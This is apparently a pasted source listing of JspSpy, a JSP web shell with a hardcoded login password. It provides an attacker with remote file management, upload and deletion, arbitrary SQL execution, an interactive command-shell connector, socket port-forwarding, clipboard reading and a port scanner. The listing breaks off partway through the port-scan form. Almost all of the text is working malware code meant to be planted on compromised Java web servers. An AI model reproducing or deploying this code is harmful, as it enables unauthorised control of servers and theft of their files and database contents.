· 9 years ago · Mar 07, 2017, 11:06 AM
1<%@page pageEncoding="utf-8"%>
2<%@page import="java.io.*"%>
3<%@page import="java.util.*"%>
4<%@page import="java.util.regex.*"%>
5<%@page import="java.sql.*"%>
6<%@page import="java.lang.reflect.*"%>
7<%@page import="java.nio.charset.*"%>
8<%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
9<%@page import="java.text.*"%>
10<%@page import="java.net.*"%>
11<%@page import="java.util.zip.*"%>
12<%@page import="java.util.jar.*"%>
13<%@page import="java.awt.*"%>
14<%@page import="java.awt.image.*"%>
15<%@page import="javax.imageio.*"%>
16<%@page import="java.awt.datatransfer.DataFlavor"%>
17<%@page import="java.util.prefs.Preferences"%>
18<%!
19 private static final String PW = "1234qwqw"; //password
20 private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
21 private static final String REQUEST_CHARSET = "ISO-8859-1";
22 private static final String PAGE_CHARSET = "UTF-8";
23 private static final String CURRENT_DIR = "currentdir";
24 private static final String MSG = "SHOWMSG";
25 private static final String PORT_MAP = "PMSA";
26 private static final String DBO = "DBO";
27 private static final String SHELL_ONLINE = "SHELL_ONLINE";
28 private static final String ENTER = "ENTER_FILE";
29 private static final String ENTER_MSG = "ENTER_FILE_MSG";
30 private static final String ENTER_CURRENT_DIR = "ENTER_CURRENT_DIR";
31 private static final String SESSION_O = "SESSION_O";
32 private static String SHELL_NAME = "";
33 private static String WEB_ROOT = null;
34 private static String SHELL_DIR = null;
35 public static Map ins = new HashMap();
36 private static boolean ISLINUX = false;
37
38 private static final String MODIFIED_ERROR = "JspSpy Was Modified By Some Other Applications. Please Logout.";
39 private static final String BACK_HREF = " <a href='javascript:history.back()'>Back</a>";
40
41 private static class MyRequest extends HttpServletRequestWrapper {
42 public MyRequest(HttpServletRequest req) {
43 super(req);
44 }
45 public String getParameter(String name) {
46 try {
47 String value = super.getParameter(name);
48 if (name == null)
49 return null;
50 return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET);
51 } catch (Exception e) {
52 return null;
53 }
54 }
55 }
56 private static class SpyClassLoader extends ClassLoader{
57 public SpyClassLoader() {
58 }
59 public Class defineClass(String name,byte[] b) {
60 return super.defineClass(name,b,0,b.length - 2);
61 }
62 }
63 private static class DBOperator{
64 private Connection conn = null;
65 private Statement stmt = null;
66 private String driver;
67 private String url;
68 private String uid;
69 private String pwd;
70 public DBOperator(String driver,String url,String uid,String pwd) throws Exception {
71 this(driver,url,uid,pwd,false);
72 }
73 public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception {
74 Class.forName(driver);
75 if (connect)
76 this.conn = DriverManager.getConnection(url,uid,pwd);
77 this.url = url;
78 this.driver = driver;
79 this.uid = uid;
80 this.pwd = pwd;
81 }
82 public void connect() throws Exception{
83 this.conn = DriverManager.getConnection(url,uid,pwd);
84 }
85 public Object execute(String sql) throws Exception {
86 if (isValid()) {
87 stmt = conn.createStatement();
88 if (stmt.execute(sql)) {
89 return stmt.getResultSet();
90 } else {
91 return ""+stmt.getUpdateCount();
92 }
93 }
94 throw new Exception("Connection is inValid.");
95 }
96 public void closeStmt() throws Exception{
97 if (this.stmt != null)
98 stmt.close();
99 }
100 public boolean isValid() throws Exception {
101 return conn != null && !conn.isClosed();
102 }
103 public void close() throws Exception {
104 if (isValid()) {
105 closeStmt();
106 conn.close();
107 }
108 }
109 public boolean equals(Object o) {
110 if (o instanceof DBOperator) {
111 DBOperator dbo = (DBOperator)o;
112 return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd);
113 }
114 return false;
115 }
116 public Connection getConn(){
117 return this.conn;
118 }
119 }
120 private static class StreamConnector extends Thread {
121 private InputStream is;
122 private OutputStream os;
123 public StreamConnector( InputStream is, OutputStream os ){
124 this.is = is;
125 this.os = os;
126 }
127 public void run(){
128 BufferedReader in = null;
129 BufferedWriter out = null;
130 try{
131 in = new BufferedReader( new InputStreamReader(this.is));
132 out = new BufferedWriter( new OutputStreamWriter(this.os));
133 char buffer[] = new char[8192];
134 int length;
135 while((length = in.read( buffer, 0, buffer.length ))>0){
136 out.write( buffer, 0, length );
137 out.flush();
138 }
139 } catch(Exception e){}
140 try{
141 if(in != null)
142 in.close();
143 if(out != null)
144 out.close();
145 } catch( Exception e ){}
146 }
147 public static void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){
148 new Thread(new Runnable(){
149 public void run(){
150 while (true) {
151 try{
152 byte[] data = new byte[100];
153 int len = localIn.read(data);
154 while (len != -1) {
155 remoteOut.write(data,0,len);
156 len = localIn.read(data);
157 }
158 }catch (Exception e) {
159 break;
160 }
161 }
162 }
163 }).start();
164 }
165 public static void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){
166 new Thread(new Runnable(){
167 public void run(){
168 while(true) {
169 try{
170 byte[] data = new byte[100];
171 int len = remoteIn.read(data);
172 while (len != -1) {
173 localOut.write(data,0,len);
174 len = remoteIn.read(data);
175 }
176 }catch (Exception e) {
177 try{
178 soc.close();
179 remoteSoc.close();
180 }catch(Exception ex) {
181 }
182 break;
183 }
184 }
185 }
186 }).start();
187 }
188 }
189 private static class EnterFile extends File{
190 private ZipFile zf = null;
191 private ZipEntry entry = null;
192 private boolean isDirectory = false;
193 private String absolutePath = null;
194 public void setEntry(ZipEntry e) {
195 this.entry = e;
196 }
197 public void setAbsolutePath(String p) {
198 this.absolutePath = p;
199 }
200 public void close() throws Exception{
201 this.zf.close();
202 }
203 public void setZf(String p) throws Exception{
204 if (p.toLowerCase().endsWith(".jar"))
205 this.zf = new JarFile(p);
206 else
207 this.zf = new ZipFile(p);
208 }
209 public EnterFile(File parent, String child) {
210 super(parent,child);
211 }
212 public EnterFile(String pathname) {
213 super(pathname);
214 }
215 public EnterFile(String pathname,boolean isDir) {
216 this(pathname);
217 this.isDirectory = isDir;
218 }
219 public EnterFile(String parent, String child) {
220 super(parent,child);
221 }
222 public EnterFile(URI uri) {
223 super(uri);
224 }
225 public boolean exists(){
226 return new File(this.zf.getName()).exists();
227 }
228 public File[] listFiles() {
229 java.util.List list = new ArrayList();
230 java.util.List handled = new ArrayList();
231 String currentDir = super.getPath();
232 currentDir = currentDir.replace('\\','/');
233 if (currentDir.indexOf("/") == 0)
234 {
235 if (currentDir.length() > 1)
236 currentDir = currentDir.substring(1);
237 else
238 currentDir = "";
239 }
240 Enumeration e = this.zf.entries();
241 while (e.hasMoreElements())
242 {
243 ZipEntry entry = (ZipEntry)e.nextElement();
244 String eName = entry.getName();
245 if (this.zf instanceof JarFile) {
246 if (!entry.isDirectory()){
247 EnterFile ef = new EnterFile(eName);
248 ef.setEntry(entry);
249 try{
250 ef.setZf(this.zf.getName());
251 }catch(Exception ex) {
252 }
253 list.add(ef);
254 }
255 } else {
256 if (currentDir.equals("")) {
257 //zip root directory
258 if (eName.indexOf("/") == -1 || eName.matches("[^/]+/$"))
259 {
260 EnterFile ef = new EnterFile(eName.replaceAll("/",""));
261 handled.add(eName.replaceAll("/",""));
262 ef.setEntry(entry);
263 list.add(ef);
264 } else {
265 if (eName.indexOf("/") != -1) {
266 String tmp = eName.substring(0,eName.indexOf("/"));
267 if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
268 EnterFile ef = new EnterFile(tmp,true);
269 ef.setEntry(entry);
270 list.add(ef);
271 handled.add(tmp);
272 }
273 }
274 }
275 } else {
276 if (eName.startsWith(currentDir)) {
277 if (eName.matches(currentDir+"/[^/]+/?$")) {
278 //file.
279 EnterFile ef = new EnterFile(eName);
280 ef.setEntry(entry);
281 list.add(ef);
282 if (eName.endsWith("/")) {
283 String tmp = eName.substring(eName.lastIndexOf('/',eName.length()-2));
284 tmp = tmp.substring(1,tmp.length()-1);
285 handled.add(tmp);
286 }
287 } else {
288 //dir
289 try {
290 String tmp = eName.substring(currentDir.length()+1);
291 tmp = tmp.substring(0,tmp.indexOf('/'));
292 if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
293 EnterFile ef = new EnterFile(tmp,true);
294 ef.setAbsolutePath(currentDir+"/"+tmp);
295 ef.setEntry(entry);
296 list.add(ef);
297 handled.add(tmp);
298 }
299 } catch (Exception ex) {
300 }
301 }
302 }
303 }
304 }
305 }
306 return (File[])list.toArray(new File[0]);
307 }
308 public boolean isDirectory(){
309 return this.entry.isDirectory() || this.isDirectory;
310 }
311 public String getParent(){
312 return "";
313 }
314 public String getAbsolutePath(){
315 return absolutePath != null ? absolutePath : super.getPath();
316 }
317 public String getName(){
318 if (this.zf instanceof JarFile) {
319 return this.getAbsolutePath();
320 } else {
321 return super.getName();
322 }
323 }
324 public long lastModified(){
325 return entry.getTime();
326 }
327 public boolean canRead(){
328 return false;
329 }
330 public boolean canWrite(){
331 return false;
332 }
333 public boolean canExecute(){
334 return false;
335 }
336 public long length(){
337 return entry.getSize();
338 }
339 }
340 private static class OnLineProcess {
341 private String cmd = "first";
342 private Process pro;
343 public OnLineProcess(Process p){
344 this.pro = p;
345 }
346 public void setPro(Process p) {
347 this.pro = p;
348 }
349 public void setCmd(String c){
350 this.cmd = c;
351 }
352 public String getCmd(){
353 return this.cmd;
354 }
355 public Process getPro(){
356 return this.pro;
357 }
358 public void stop(){
359 this.pro.destroy();
360 }
361 }
362 private static class OnLineConnector extends Thread {
363 private OnLineProcess ol = null;
364 private InputStream is;
365 private OutputStream os;
366 private String name;
367 public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){
368 this.is = is;
369 this.os = os;
370 this.name = name;
371 this.ol = ol;
372 }
373 public void run(){
374 BufferedReader in = null;
375 BufferedWriter out = null;
376 try{
377 in = new BufferedReader( new InputStreamReader(this.is));
378 out = new BufferedWriter( new OutputStreamWriter(this.os));
379 char buffer[] = new char[128];
380 if(this.name.equals("exeRclientO")) {
381 //from exe to client
382 int length = 0;
383 while((length = in.read( buffer, 0, buffer.length ))>0){
384 String str = new String(buffer, 0, length);
385 str = str.replaceAll("&","&").replaceAll("<","<").replaceAll(">",">");
386 str = str.replaceAll(""+(char)13+(char)10,"<br/>");
387 str = str.replaceAll("\n","<br/>");
388 out.write(str.toCharArray(), 0, str.length());
389 out.flush();
390 }
391 } else {
392 //from client to exe
393 while(true) {
394 while(this.ol.getCmd() == null) {
395 Thread.sleep(500);
396 }
397 if (this.ol.getCmd().equals("first")) {
398 this.ol.setCmd(null);
399 continue;
400 }
401 this.ol.setCmd(this.ol.getCmd() + (char)10);
402 char[] arr = this.ol.getCmd().toCharArray();
403 out.write(arr,0,arr.length);
404 out.flush();
405 this.ol.setCmd(null);
406 }
407 }
408 } catch(Exception e){
409 }
410 try{
411 if(in != null)
412 in.close();
413 if(out != null)
414 out.close();
415 } catch( Exception e ){
416 }
417 }
418 }
419 private static class Table{
420 private ArrayList rows = null;
421 private boolean echoTableTag = false;
422 public void setEchoTableTag(boolean v) {
423 this.echoTableTag = v;
424 }
425 public Table(){
426 this.rows = new ArrayList();
427 }
428 public void addRow(Row r) {
429 this.rows.add(r);
430 }
431 public String toString(){
432 StringBuffer html = new StringBuffer();
433 if (echoTableTag)
434 html.append("<table>");
435 for (int i = 0;i<rows.size();i++) {
436 Row r=(Row)rows.get(i);
437 html.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
438 ArrayList columns = r.getColumns();
439 for (int a = 0;a<columns.size();a++) {
440 Column c = (Column)columns.get(a);
441 html.append("<td nowrap>");
442 String vv = Util.htmlEncode(Util.getStr(c.getValue()));
443 if (vv.equals(""))
444 vv = " ";
445 html.append(vv);
446 html.append("</td>");
447 }
448 html.append("</tr>");
449 }
450 if (echoTableTag)
451 html.append("</table>");
452 return html.toString();
453 }
454 public static String rs2Table(ResultSet rs,String sep,boolean op) throws Exception{
455 StringBuffer table = new StringBuffer();
456 ResultSetMetaData meta = rs.getMetaData();
457 int count = meta.getColumnCount();
458 if (!op)
459 table.append("<b style='color:red;margin-left:15px'><i> View Struct </i></b> - <a href=\"javascript:doPost({o:'executesql'})\">View All Tables</a><br/><br/>");
460 else
461 table.append("<b style='color:red;margin-left:15px'><i> All Tables </i></b><br/><br/>");
462 table.append("<script>function view(t){document.getElementById('sql').value='select * from "+sep+"'+t+'"+sep+"';}</script>");
463 table.append("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
464 for (int i = 1;i<=count;i++) {
465 table.append("<td nowrap>"+meta.getColumnName(i)+"</td>");
466 }
467 if (op)
468 table.append("<td> </td>");
469 table.append("</tr>");
470 while (rs.next()) {
471 String tbName = null;
472 table.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
473 for (int i = 1;i<=count;i++) {
474 String v = rs.getString(i);
475 if (i == 3)
476 tbName = v;
477 table.append("<td nowrap>"+Util.null2Nbsp(v)+"</td>");
478 }
479 if (op)
480 table.append("<td nowrap> <a href=\"#\" onclick=\"view('"+tbName+"')\">View</a> | <a href=\"javascript:doPost({o:'executesql',type:'struct',table:'"+tbName+"'})\">Struct</a> | <a href=\"javascript:doPost({o:'export',table:'"+tbName+"'})\">Export </a> | <a href=\"javascript:doPost({o:'vExport',table:'"+tbName+"'})\">Save To File</a> </td>");
481 table.append("</tr>");
482 }
483 table.append("</table><br/>");
484 return table.toString();
485 }
486 }
487 private static class Row{
488 private ArrayList cols = null;
489 public Row(){
490 this.cols = new ArrayList();
491 }
492 public void addColumn(Column n) {
493 this.cols.add(n);
494 }
495 public ArrayList getColumns(){
496 return this.cols;
497 }
498 }
499 private static class Column{
500 private String value;
501 public Column(String v){
502 this.value = v;
503 }
504 public String getValue(){
505 return this.value;
506 }
507 }
508 private static class Util{
509 public static boolean isEmpty(String s) {
510 return s == null || s.trim().equals("");
511 }
512 public static boolean isEmpty(Object o) {
513 return o == null || isEmpty(o.toString());
514 }
515 public static String getSize(long size,char danwei) {
516 if (danwei == 'M') {
517 double v = formatNumber(size / 1024.0 / 1024.0,2);
518 if (v > 1024) {
519 return getSize(size,'G');
520 }else {
521 return v + "M";
522 }
523 } else if (danwei == 'G') {
524 return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G";
525 } else if (danwei == 'K') {
526 double v = formatNumber(size / 1024.0,2);
527 if (v > 1024) {
528 return getSize(size,'M');
529 } else {
530 return v + "K";
531 }
532 } else if (danwei == 'B') {
533 if (size > 1024) {
534 return getSize(size,'K');
535 }else {
536 return size + "B";
537 }
538 }
539 return ""+0+danwei;
540 }
541 public static boolean exists(String[] arr,String v) {
542 for (int i =0;i<arr.length;i++) {
543 if (v.equals(arr[i])) {
544 return true;
545 }
546 }
547 return false;
548 }
549 public static double formatNumber(double value,int l) {
550 NumberFormat format = NumberFormat.getInstance();
551 format.setMaximumFractionDigits(l);
552 format.setGroupingUsed(false);
553 return new Double(format.format(value)).doubleValue();
554 }
555 public static boolean isInteger(String v) {
556 if (isEmpty(v))
557 return false;
558 return v.matches("^\\d+$");
559 }
560 public static String formatDate(long time) {
561 SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
562 return format.format(new java.util.Date(time));
563 }
564 public static String convertPath(String path) {
565 return path != null ? path.replace('\\','/') : "";
566 }
567 public static String htmlEncode(String v) {
568 if (isEmpty(v))
569 return "";
570 return v.replaceAll("&","&").replaceAll("<","<").replaceAll(">",">");
571 }
572 public static String getStr(String s) {
573 return s == null ? "" :s;
574 }
575 public static String null2Nbsp(String s) {
576 if (s == null)
577 s = " ";
578 return s;
579 }
580 public static String getStr(Object s) {
581 return s == null ? "" :s.toString();
582 }
583 public static String exec(String regex, String str, int group) {
584 Pattern pat = Pattern.compile(regex);
585 Matcher m = pat.matcher(str);
586 if (m.find())
587 return m.group(group);
588 return null;
589 }
590 public static void outMsg(Writer out,String msg) throws Exception {
591 outMsg(out,msg,"center");
592 }
593 public static void outMsg(Writer out,String msg,String align) throws Exception {
594 out.write("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:"+align+";font-weight:bold;margin:10px\">"+msg+"</div>");
595 }
596 public static String highLight(String str) {
597 str = str.replaceAll("\\b(abstract|package|String|byte|static|synchronized|public|private|protected|void|int|long|double|boolean|float|char|final|extends|implements|throw|throws|native|class|interface|emum)\\b","<span style='color:blue'>$1</span>");
598 str = str.replaceAll("\t(//.+)","\t<span style='color:green'>$1</span>");
599 return str;
600 }
601 }
602 private static class UploadBean {
603 private String fileName = null;
604 private String suffix = null;
605 private String savePath = "";
606 private ServletInputStream sis = null;
607 private OutputStream targetOutput = null;
608 private byte[] b = new byte[1024];
609 public void setTargetOutput(OutputStream stream) {
610 this.targetOutput = stream;
611 }
612 public UploadBean() {
613 }
614 public void setSavePath(String path) {
615 this.savePath = path;
616 }
617 public String getFileName(){
618 return this.fileName;
619 }
620 public void parseRequest(HttpServletRequest request) throws IOException {
621 sis = request.getInputStream();
622 int a = 0;
623 int k = 0;
624 String s = "";
625 while ((a = sis.readLine(b,0,b.length))!= -1) {
626 s = new String(b, 0, a,PAGE_CHARSET);
627 if ((k = s.indexOf("filename=\""))!= -1) {
628 s = s.substring(k + 10);
629 k = s.indexOf("\"");
630 s = s.substring(0, k);
631 File tF = new File(s);
632 if (tF.isAbsolute()) {
633 fileName = tF.getName();
634 } else {
635 fileName = s;
636 }
637 k = s.lastIndexOf(".");
638 suffix = s.substring(k + 1);
639 upload();
640 }
641 }
642 }
643 private void upload() throws IOException{
644 try {
645 OutputStream out = null;
646 if (this.targetOutput != null)
647 out = this.targetOutput;
648 else
649 out = new FileOutputStream(new File(savePath,fileName));
650 int a = 0;
651 int k = 0;
652 String s = "";
653 while ((a = sis.readLine(b,0,b.length))!=-1) {
654 s = new String(b, 0, a);
655 if ((k = s.indexOf("Content-Type:"))!=-1) {
656 break;
657 }
658 }
659 sis.readLine(b,0,b.length);
660 while ((a = sis.readLine(b,0,b.length)) != -1) {
661 s = new String(b, 0, a);
662 if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
663 break;
664 }
665 out.write(b, 0, a);
666 }
667 if (out instanceof FileOutputStream)
668 out.close();
669 } catch (IOException ioe) {
670 throw ioe;
671 }
672 }
673 }
674%>
675<%
676 SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1);
677 String myAbsolutePath = application.getRealPath(request.getServletPath());
678 if (Util.isEmpty(myAbsolutePath)) {//for weblogic
679 SHELL_NAME = request.getServletPath();
680 myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString();
681 SHELL_NAME=request.getContextPath()+SHELL_NAME;
682 WEB_ROOT = new File(application.getResource("/").getPath()).toString();
683 } else {
684 WEB_ROOT = application.getRealPath("/");
685 }
686 SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator)));
687 if (SHELL_DIR.indexOf('/') == 0)
688 ISLINUX = true;
689 else
690 ISLINUX = false;
691 if (session.getAttribute(CURRENT_DIR) == null)
692 session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR));
693 request = new MyRequest(request);
694 if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
695 String o = request.getParameter("o");
696 if (o != null && o.equals("login")) {
697 ((Invoker)ins.get("login")).invoke(request,response,session);
698 return;
699 } else if (o != null && o.equals("vLogin")) {
700 ((Invoker)ins.get("vLogin")).invoke(request,response,session);
701 return;
702 } else {
703 ((Invoker)ins.get("vLogin")).invoke(request,response,session);
704 return;
705 }
706 }
707%>
708<%!
709 private static interface Invoker {
710 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception;
711 public boolean doBefore();
712 public boolean doAfter();
713 }
714 private static class DefaultInvoker implements Invoker{
715 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
716 }
717 public boolean doBefore(){
718 return true;
719 }
720 public boolean doAfter() {
721 return true;
722 }
723 }
724 private static class ScriptInvoker extends DefaultInvoker{
725 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
726 try {
727 PrintWriter out = response.getWriter();
728 out.println("<script type=\"text/javascript\">"+
729 " String.prototype.trim = function(){return this.replace(/^\\s+|\\s+$/,'');};"+
730 " function fso(obj) {"+
731 " this.currentDir = '"+JSession.getAttribute(CURRENT_DIR)+"';"+
732 " this.filename = obj.filename;"+
733 " this.path = obj.path;"+
734 " this.filetype = obj.filetype;"+
735 " this.charset = obj.charset;"+
736 " };"+
737 " fso.prototype = {"+
738 " copy:function(){"+
739 " var path = prompt('Copy To : ',this.path);"+
740 " if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
741 " doPost({o:'copy',src:this.path,to:path});"+
742 " },"+
743 " move:function() {"+
744 " var path =prompt('Move To : ',this.path);"+
745 " if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
746 " doPost({o:'move',src:this.path,to:path})"+
747 " },"+
748 " vEdit:function() {"+
749 " if (!this.charset)"+
750 " doPost({o:'vEdit',filepath:this.path});"+
751 " else"+
752 " doPost({o:'vEdit',filepath:this.path,charset:this.charset});"+
753 " },"+
754 " down:function() {"+
755 " doPost({o:'down',path:this.path})"+
756 " },"+
757 " removedir:function() {"+
758 " if (!confirm('Dangerous ! Are You Sure To Delete '+this.filename+'?'))return;"+
759 " doPost({o:'removedir',dir:this.path});"+
760 " },"+
761 " mkdir:function() {"+
762 " var name = prompt('Input New Directory Name','');"+
763 " if (name == null || name.trim().length == 0)return;"+
764 " doPost({o:'mkdir',name:name});"+
765 " },"+
766 " subdir:function(out) {"+
767 " doPost({o:'filelist',folder:this.path,outentry:(out || 'none')})"+
768 " },"+
769 " parent:function() {"+
770 " var parent=(this.path.substr(0,this.path.lastIndexOf(\"/\")))+'/';"+
771 " doPost({o:'filelist',folder:parent})"+
772 " },"+
773 " createFile:function() {"+
774 " var path = prompt('Input New File Name','');"+
775 " if (path == null || path.trim().length == 0) return;"+
776 " doPost({o:'vCreateFile',filepath:path})"+
777 " },"+
778 " deleteBatch:function() {"+
779 " if (!confirm('Are You Sure To Delete These Files?')) return;"+
780 " var selected = new Array();"+
781 " var inputs = document.getElementsByTagName('input');"+
782 " for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
783 " if (selected.length == 0) {alert('No File Selected');return;}"+
784 " doPost({o:'deleteBatch',files:selected.join(',')})"+
785 " },"+
786 " packBatch:function() {"+
787 " var selected = new Array();"+
788 " var inputs = document.getElementsByTagName('input');"+
789 " for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
790 " if (selected.length == 0) {alert('No File Selected');return;}"+
791 " var savefilename = prompt('Input Target File Name(Only Support ZIP)','pack.zip');"+
792 " if (savefilename == null || savefilename.trim().length == 0)return;"+
793 " doPost({o:'packBatch',files:selected.join(','),savefilename:savefilename})"+
794 " },"+
795 " pack:function(showconfig) {"+
796 " if (showconfig && confirm('Need Pack Configuration?')) {doPost({o:'vPack',packedfile:this.path});return;}"+
797 " var tmpName = '';"+
798 " if (this.filename.indexOf('.') == -1) tmpName = this.filename;"+
799 " else tmpName = this.filename.substr(0,this.filename.lastIndexOf('.'));"+
800 " tmpName += '.zip';"+
801 " var path = this.path;"+
802 " var name = prompt('Input Target File Name (Only Support Zip)',tmpName);"+
803 " if (name == null || path.trim().length == 0) return;"+
804 " doPost({o:'pack',packedfile:path,savefilename:name})"+
805 " },"+
806 " vEditProperty:function() {"+
807 " var path = this.path;"+
808 " doPost({o:'vEditProperty',filepath:path})"+
809 " },"+
810 " unpack:function() {"+
811 " var path = prompt('unpack to : ',this.currentDir+'/'+this.filename.substr(0,this.filename.lastIndexOf('.')));"+
812 " if (path == null || path.trim().length == 0) return;"+
813 " doPost({o:'unpack',savepath:path,zipfile:this.path})"+
814 " },"+
815 " enter:function() {"+
816 " doPost({o:'enter',filepath:this.path})"+
817 " }"+
818 " };"+
819 " function doPost(obj) {"+
820 " var form = document.forms[\"doForm\"];"+
821 " var elements = form.elements;for (var i = form.length - 1;i>=0;i--){form.removeChild(elements[i])}"+
822 " for (var pro in obj)"+
823 " {"+
824 " var input = document.createElement(\"input\");"+
825 " input.type = \"hidden\";"+
826 " input.name = pro;"+
827 " input.value = obj[pro];"+
828 " form.appendChild(input);"+
829 " }"+
830 " form.submit();"+
831 " }"+
832 "</script>");
833
834 } catch (Exception e) {
835
836 throw e ;
837 }
838 }
839 }
840 private static class BeforeInvoker extends DefaultInvoker {
841 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
842 try {
843 PrintWriter out = response.getWriter();
844 out.println("<html><head><title>JspSpy Private Codz By - Ninty</title><style type=\"text/css\">"+
845 "body,td{font: 12px Arial,Tahoma;line-height: 16px;}"+
846 ".input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}"+
847 ".area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}"+
848 ".bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}"+
849 "a {color: #00f;text-decoration:underline;}"+
850 "a:hover{color: #f00;text-decoration:none;}"+
851 ".alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}"+
852 ".alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}"+
853 ".focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}"+
854 ".head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}"+
855 ".head td span{font-weight:normal;}"+
856 "form{margin:0;padding:0;}"+
857 "h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}"+
858 "ul.info li{margin:0;color:#444;line-height:24px;height:24px;}"+
859 "u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}"+
860 ".secho{height:400px;width:100%;overflow:auto;border:none}"+
861 "hr{border: 1px solid rgb(221, 221, 221); height: 0px;}"+
862 "</style></head><body style=\"margin:0;table-layout:fixed; word-break:break-all\">");
863 } catch (Exception e) {
864
865 throw e ;
866 }
867 }
868 }
869 private static class AfterInvoker extends DefaultInvoker {
870 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
871 try {
872 PrintWriter out = response.getWriter();
873 out.println("</body></html>");
874 } catch (Exception e) {
875
876 throw e ;
877 }
878 }
879 }
880 private static class DeleteBatchInvoker extends DefaultInvoker {
881 public boolean doBefore(){return false;}
882 public boolean doAfter(){return false;}
883 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
884 try {
885 String files = request.getParameter("files");
886 int success = 0;
887 int failed = 0;
888 if (!Util.isEmpty(files)) {
889 String currentDir = JSession.getAttribute(CURRENT_DIR).toString();
890 String[] arr = files.split(",");
891 for (int i = 0;i<arr.length;i++) {
892 String fs = arr[i];
893 File f = new File(currentDir,fs);
894 if(f.delete())
895 success += 1;
896 else
897 failed += 1;
898 }
899 }
900 JSession.setAttribute(MSG,success+" Files Deleted <span style='color:green'>Success</span> , "+failed+" Files Deleted <span style='color:red'>Failed</span>!");
901 response.sendRedirect(SHELL_NAME);
902 } catch (Exception e) {
903
904 throw e ;
905 }
906 }
907 }
908 private static class ClipBoardInvoker extends DefaultInvoker {
909 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
910 try {
911 PrintWriter out = response.getWriter();
912 out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
913 " <tr>"+
914 " <td>"+
915 " <h2>System Clipboard »</h2>"+
916 "<p><pre>");
917 try{
918 out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getContents(DataFlavor.stringFlavor).getTransferData(DataFlavor.stringFlavor))));
919 }catch (Exception ex) {
920 out.println("ClipBoard is Empty Or Is Not Text Data !");
921 }
922 out.println("</pre>"+
923 " <input class=\"bt\" name=\"button\" id=\"button\" onClick=\"history.back()\" value=\"Back\" type=\"button\" size=\"100\" />"+
924 " </p>"+
925 " </td>"+
926 " </tr>"+
927 "</table>");
928 } catch (Exception e) {
929
930 throw e ;
931 }
932 }
933 }
934 private static class VPortScanInvoker extends DefaultInvoker {
935 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
936 try {
937 PrintWriter out = response.getWriter();
938 String ip = request.getParameter("ip");
939 String ports = request.getParameter("ports");
940 String timeout = request.getParameter("timeout");
941 String banner = request.getParameter("banner");
942 if (Util.isEmpty(ip))
943 ip = "127.0.0.1";
944 if (Util.isEmpty(ports))
945 ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
946 if (Util.isEmpty(timeout))
947 timeout = "2";
948 out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
949 "<h2 id=\"Bin_H2_Title\">PortScan >></h2>"+
950 "<div id=\"YwLB\"><form action=\""+SHELL_NAME+"\" method=\"post\">"+
951 "<p><input type=\"hidden\" value=\"portScan\" name=\"o\">"+
